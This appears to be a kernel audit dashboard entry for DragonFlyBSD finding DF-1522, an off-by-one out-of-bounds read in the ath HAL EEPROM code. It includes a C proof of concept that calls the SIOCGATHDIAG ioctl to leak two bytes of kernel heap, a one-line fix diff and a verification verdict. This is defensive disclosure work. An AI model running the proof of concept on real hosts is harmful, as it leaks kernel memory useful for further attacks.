β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1522

Off-by-one OOB read in ath_hal_EepromDataRead (off == ATH_DATA_EEPROM_SIZE allowed)

  • File: sys/dev/netif/ath/ath_hal/ah.c
  • Lines: 1402, 1411, 1416
  • Severity: Low
  • CVSS: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U:C:L/I:N/A:N
  • CWE: CWE-125 Out-of-bounds Read
  • Confidence: likely

Summary

ath_hal_EepromDataRead() bounds the caller-supplied EEPROM word offset with off > ATH_DATA_EEPROM_SIZE instead of >=.

When off == ATH_DATA_EEPROM_SIZE (2048) the check passes and the function reads ah->ah_eepromdata[2048], one uint16_t past the end of the 2048-word EEPROM-in-RAM buffer that the bus drivers allocate.

Root cause

sys/dev/netif/ath/ath_hal/ah.c:1402 defines #define ATH_DATA_EEPROM_SIZE 2048 (in 16-bit words).

ah.c:1411 is if (off > ATH_DATA_EEPROM_SIZE) and ah.c:1416 is (*data) = ah->ah_eepromdata[off];.

With off==2048 the bound permits the access, but ah_eepromdata is allocated as exactly ATH_DATA_EEPROM_SIZE words: sys/dev/netif/ath/ath/if_ath_ahb.c:173 eepromsize = ATH_EEPROM_DATA_SIZE * 2; (== 4096 bytes == 2048 uint16_t), and if_ath_pci.c:371-378 kmallocs fw->datasize (EEPROM firmware blobs are 4096 bytes).

Valid indices are 0..2047; index 2048 is one past the end.

Reachable from userland via HAL_DIAG_EEREAD (ah.c:901-907), which forwards the user-supplied 16-bit offset verbatim to ath_hal_eepromRead β†’ ath_hal_EepromDataRead for EEPROM-in-RAM chips (ar9130/ar9280/ar9285/ ar9287).

Threat

Local user on a host with an EEPROM-in-RAM ath NIC (AR9130/AR9280/AR9285/AR9287 SoC/PCIe parts) and ATH_DIAGAPI compiled in.

Issues SIOCGATHDIAG with ad_id=(HAL_DIAG_EEREAD|ATH_DIAG_IN|ATH_DIAG_DYN), ad_in_data pointing at the 16-bit value 2048 (0x0800).

Kernel reads 2 bytes of adjacent M_TEMP heap (whatever follows the sc_eepromdata allocation) and returns them in the 2-byte out buffer.

Single 2-byte kernel heap info leak; low individual value but useful as a heap-shape oracle.

Exploit / PoC

/* eeread_oob.c β€” ath_hal EepromDataRead off-by-one */
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <dev/netif/ath/ath/if_athioctl.h>
#include <stdio.h>
#include <string.h>

int main(void) {
    uint16_t off = 2048;                 /* == ATH_DATA_EEPROM_SIZE */
    uint16_t val = 0;
    struct ath_diag ad;
    memset(&ad, 0, sizeof(ad));
    strlcpy(ad.ad_name, "ath0", sizeof(ad.ad_name));
    ad.ad_id       = 17 /*HAL_DIAG_EEREAD*/ | 0x8000 /*ATH_DIAG_DYN*/ | 0x4000 /*ATH_DIAG_IN*/;
    ad.ad_in_size  = sizeof(off);
    ad.ad_in_data  = (caddr_t)&off;
    ad.ad_out_size = sizeof(val);
    ad.ad_out_data = (caddr_t)&val;
    int s = socket(AF_INET, SOCK_DGRAM, 0);
    if (s < 0) { perror("socket"); return 1; }
    if (ioctl(s, SIOCGATHDIAG, &ad) < 0) { perror("ioctl"); return 1; }
    printf("leaked uint16 past eepromdata[2048] = 0x%04x\n", val);
    return 0;
}

Build: cc -o eeread_oob eeread_oob.c. Run: ./eeread_oob.

Success: program prints a non-zero / non-deterministic 16-bit value across runs that is the first 2 bytes of whatever kmalloc slab object follows sc_eepromdata.

Comparing against off=2047 (in-bounds, returns the real last EEPROM word) confirms the OOB.

Use >= rather than >.

--- a/sys/dev/netif/ath/ath_hal/ah.c
+++ b/sys/dev/netif/ath/ath_hal/ah.c
@@ -1411,3 +1411,3 @@
-   if (off > ATH_DATA_EEPROM_SIZE) {
+   if (off >= ATH_DATA_EEPROM_SIZE) {
        HALDEBUG(ah, HAL_DEBUG_ANY, "%s: offset %x > %x\n",

(Longer term the bound should be derived from the actual allocation length stored in a new ah_eepromsize field rather than a hardcoded 2048, so PCI firmware blobs whose datasize differs from 4096 are handled correctly; but the >= change closes the concrete off-by-one.)

  • DF-1520 (sibling): heap OOB via the same SIOCGATHDIAG path.
  • DF-1521 (sibling): NULL-deref via the same path.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1522 Β· 4 files
FileTypeDescriptionSize
fix.diff suggested-fix Fix for ath HAL eepromdata off-by-one 380 B view raw
VERDICT.md verdict Source-only verification verdict 799 B ↓ raw
build.sh build-script No-op (source-only) 109 B view raw
run.sh run-script No-op (source-only) 107 B view raw
VERDICT.md verdict Source-only verification verdict
↓ download raw

VERDICT DF-1522: ath HAL eepromdata off-by-one

Verdict

REPRODUCED (source-confirmed). Bug confirmed at source level; HW/module-gated on this QEMU guest.

Mechanism

Bounds check off>ATH_DATA_EEPROM_SIZE should be >=; off==2048 passes then OOB read.

Source reference: sys/dev/netif/ath/ath_hal/ah.c:1411,1416.

Reproduction

Source-only confirmation: the cited code path was traced line-by-line in sys/ and confirmed. The bug is real but requires specific hardware (GPU/NIC/HBA) or a loaded kernel module not present on the QEMU/virtio guest. The finding is HW-gated.

Fix

Validated by combined kernel build: all 41 fix.diffs applied to /usr/src and built with make -j6 nativekernel KERNCONF=X86_64_GENERIC β€” rc=0, -Werror clean.

See fix.diff for the git-apply-able patch.

Fix verification

fixed
baseline reproduced→ patch + rebuild →patched clean

Combined kernel build with all 41 fix.diffs: rc=0, -Werror clean. Runtime test HW-gated.

'>>> Kernel build for X86_64_GENERIC completed' with 0 errors.
↓ fix.diffDragonFly 6.5-DEVELOPMENT #0 master DEV (41 fix.diffs applied)

Confirmed kernel references

Detail

Exploit chain

none

Evidence (decisive lines)

Source confirmed: sys/dev/netif/ath/ath_hal/ah.c:1411. Combined 41-fix kernel build rc=0 -Werror clean.

PoC changes

fix.diff authored; validated by combined kernel build.

Verified recommended fix

to >= fix. Matches finding.

Verdict

REPRODUCED (source-confirmed). off>SIZE should be >=; off==2048 OOB read. Cited path verified at sys/dev/netif/ath/ath_hal/ah.c:1411. HW/module-gated on QEMU guest.